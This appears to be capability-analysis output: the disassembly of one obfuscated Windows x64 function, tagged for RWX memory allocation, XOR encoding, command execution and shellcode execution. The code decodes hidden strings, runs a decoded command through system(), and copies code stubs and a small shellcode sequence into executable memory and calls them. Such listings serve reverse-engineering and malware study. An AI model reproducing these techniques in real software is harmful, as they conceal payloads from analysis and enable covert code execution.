Function at 0x1400d1e58
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
xor edi, edi
mov qword [0x1403476d0], rdi
mov word [0x1403476d8], di
mov qword [0x140346f38], rdi
mov word [0x140346f40], di
mov byte [0x140346f42], dil
vpxor xmm0, xmm0, xmm0
xor r10d, r10d
vmovups ymmword [0x140347880], ymm0
vmovups ymmword [0x1403478a0], ymm0
mov byte [0x1403478c0], r10b
mov dword [0x140346a38], edi
xor eax, eax
vmovups xmmword [0x1403470b0], xmm0
mov qword [0x1403470c0], rax
mov dword [0x1403470c8], eax
mov byte [0x1403470cc], al
mov r8d, edi
lea r9, [0x1403470b0]
mov r11d, 0x29e4129f
mov bl, 0x34
lea r14d, [rdi + 1]
mov eax, r11d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x1d
jl 0x1400d1eeb
cmp byte [0x140346a3b], dil
jne 0x1400d1f85
vmovdqu xmm5, xmmword [0x1401f27f0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x1401f2880]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x1401f2880]
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm0, xmm4, 0x1f
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [str.7777]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x1401f27e0]
vpaddb xmm2, xmm4, xmmword [0x1401f28a0]
vmovd xmm0, edi
vpxor xmm1, xmm2, xmm0
vmovd dword [0x140346a38], xmm1
mov r8d, edi
lea r9, [0x140347880]
mov eax, r11d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x41
jl 0x1400d1f8f
mov r8d, edi
lea r9, [0x140346f38]
mov eax, r11d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xb
jl 0x1400d1fc7
cmp byte [0x1403476d9], dil
jne 0x1400d2036
mov r8d, edi
lea r9, [0x1403476d0]
mov eax, r11d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, bl
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0xa
jl 0x1400d2008
lea rax, [rsp + 0x98]
movabs rbx, 0xff00ff00ff00ff00
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rax
mov rax, qword [rax]
xor rax, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x48], rbx
mov qword [rax], rdi
mov edx, edi
mov r13d, 0x1f4
lea r15, [0x1400c6ef4]
lea rsi, [0x140000000]
mov rax, qword [0x140347de0]
test rax, rax
je 0x1400d20c2
mov rcx, rdi
cmp rax, r15
je 0x1400d20b5
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x347de0]
test rax, rax
jne 0x1400d209c
jmp 0x1400d20c2
mov rax, qword [rsi + rcx*8 + 0x348100]
test rax, rax
jne 0x1400d2115
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
vzeroupper
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d20e6
mov rax, rdi
jmp 0x1400d20f4
mov r8, r13
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140347dd8]
mov qword [rsi + rcx*8 + 0x347de0], r15
mov qword [rsi + rcx*8 + 0x348100], rax
add rcx, r14
mov qword [0x140347dd8], rcx
lea rcx, [fcn.140063940]
vzeroupper
call rax
nop
lea r12, [rsp + 0x98]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x48], rbx
mov qword [r12], rdi
mov edx, edi
mov rax, qword [0x140347de0]
test rax, rax
je 0x1400d2174
mov rcx, rdi
cmp rax, r15
je 0x1400d2167
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x347de0]
test rax, rax
jne 0x1400d214e
jmp 0x1400d2174
mov rax, qword [rsi + rcx*8 + 0x348100]
test rax, rax
jne 0x1400d21c4
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d2195
mov rax, rdi
jmp 0x1400d21a3
mov r8, r13
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [0x140347dd8]
mov qword [rsi + rdx*8 + 0x347de0], r15
mov qword [rsi + rdx*8 + 0x348100], rax
add rdx, r14
mov qword [0x140347dd8], rdx
lea rcx, [fcn.140063940]
call rax
nop
mov rax, rbx
xor rax, rbx
mov qword [r12], rax
vmovups ymm0, ymmword [0x1401eff20]
vmovups ymmword [rsp + 0x48], ymm0
mov eax, dword [0x1401eff40]
mov dword [rsp + 0x68], eax
mov al, byte [0x1401eff44]
mov byte [rsp + 0x6c], al
mov r8d, edi
lea r9, [rsp + 0x48]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
add r8d, r14d
add r9, r14
cmp r8d, 0x25
jl 0x1400d2202
lea rcx, [rsp + 0x48]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x20], 0xdb31c031
mov dword [rsp + 0x24], 0xd231c931
mov dword [rsp + 0x28], 0xed31e431
mov word [rsp + 0x2c], 0xe4ff
mov r9d, 0x40
mov r8d, 0x3000
lea r15d, [r9 - 0x32]
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1400d22a5
mov r8d, r15d
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call rdi
lea r12, [rsp + 0x98]
lea r15, [0x1400c6f1c]
movabs rax, 0xff00ff00ff00ff00
mov dword [rsp + 0xa0], edi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r12
mov rbx, qword [r12]
xor rbx, rax
mov qword [rsp + 0x48], rbx
mov qword [r12], rdi
mov edx, edi
mov rax, qword [0x140348430]
test rax, rax
je 0x1400d2318
mov rcx, rdi
cmp rax, r15
je 0x1400d230b
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x348430]
test rax, rax
jne 0x1400d22f2
jmp 0x1400d2318
mov rax, qword [rsi + rcx*8 + 0x348750]
test rax, rax
jne 0x1400d2368
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d2339
mov rax, rdi
jmp 0x1400d2347
mov r8, r13
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140348420]
mov qword [rsi + rcx*8 + 0x348430], r15
mov qword [rsi + rcx*8 + 0x348750], rax
add rcx, r14
mov qword [0x140348420], rcx
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call rax
nop
mov dword [rsp + 0xa0], edi
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x48], rbx
mov qword [r12], rdi
mov edx, edi
mov rax, qword [0x140348430]
test rax, rax
je 0x1400d23d5
mov rcx, rdi
cmp rax, r15
je 0x1400d23c8
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x348430]
test rax, rax
jne 0x1400d23af
jmp 0x1400d23d5
mov rax, qword [rsi + rcx*8 + 0x348750]
test rax, rax
jne 0x1400d2425
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d23f6
mov rax, rdi
jmp 0x1400d2404
mov r8, r13
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140348420]
mov qword [rsi + rcx*8 + 0x348430], r15
mov qword [rsi + rcx*8 + 0x348750], rax
add rcx, r14
mov qword [0x140348420], rcx
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__Exit]
call rax
nop
mov dword [rsp + 0xa0], edi
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x48], rbx
mov qword [r12], rdi
mov edx, edi
mov rax, qword [0x140348430]
test rax, rax
je 0x1400d2492
mov rcx, rdi
cmp rax, r15
je 0x1400d2485
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x348430]
test rax, rax
jne 0x1400d246c
jmp 0x1400d2492
mov rax, qword [rsi + rcx*8 + 0x348750]
test rax, rax
jne 0x1400d24e2
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d24b3
mov rax, rdi
jmp 0x1400d24c1
mov r8, r13
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140348420]
mov qword [rsi + rcx*8 + 0x348430], r15
mov qword [rsi + rcx*8 + 0x348750], rax
add rcx, r14
mov qword [0x140348420], rcx
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call rax
nop
mov dword [rsp + 0xa0], edi
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x48], rbx
mov qword [r12], rdi
mov edx, edi
mov rax, qword [0x140348430]
test rax, rax
je 0x1400d254f
mov rcx, rdi
cmp rax, r15
je 0x1400d2542
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x348430]
test rax, rax
jne 0x1400d2529
jmp 0x1400d254f
mov rax, qword [rsi + rcx*8 + 0x348750]
test rax, rax
jne 0x1400d259f
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d2570
mov rax, rdi
jmp 0x1400d257e
mov r8, r13
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140348420]
mov qword [rsi + rcx*8 + 0x348430], r15
mov qword [rsi + rcx*8 + 0x348750], rax
add rcx, r14
mov qword [0x140348420], rcx
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_quick_exit]
call rax
nop
mov dword [rsp + 0xa0], edi
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x48], rbx
mov qword [r12], rdi
mov edx, edi
mov rax, qword [0x140348a80]
test rax, rax
je 0x1400d2613
mov rcx, rdi
lea r8, [0x1400c6f1c]
cmp rax, r8
je 0x1400d2606
add edx, r14d
mov ecx, edx
mov rax, qword [rsi + rdx*8 + 0x348a80]
test rax, rax
jne 0x1400d25ed
jmp 0x1400d2613
mov rax, qword [rsi + rcx*8 + 0x348da0]
test rax, rax
jne 0x1400d266e
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1400d2634
mov rax, rdi
jmp 0x1400d2646
mov r8, r13
lea rdx, [0x1400c6f1c]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140348a70]
lea rdx, [0x1400c6f1c]
mov qword [rsi + rcx*8 + 0x348a80], rdx
mov qword [rsi + rcx*8 + 0x348da0], rax
add rcx, r14
mov qword [0x140348a70], rcx
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [r12], rbx
jmp 0x1400d22c0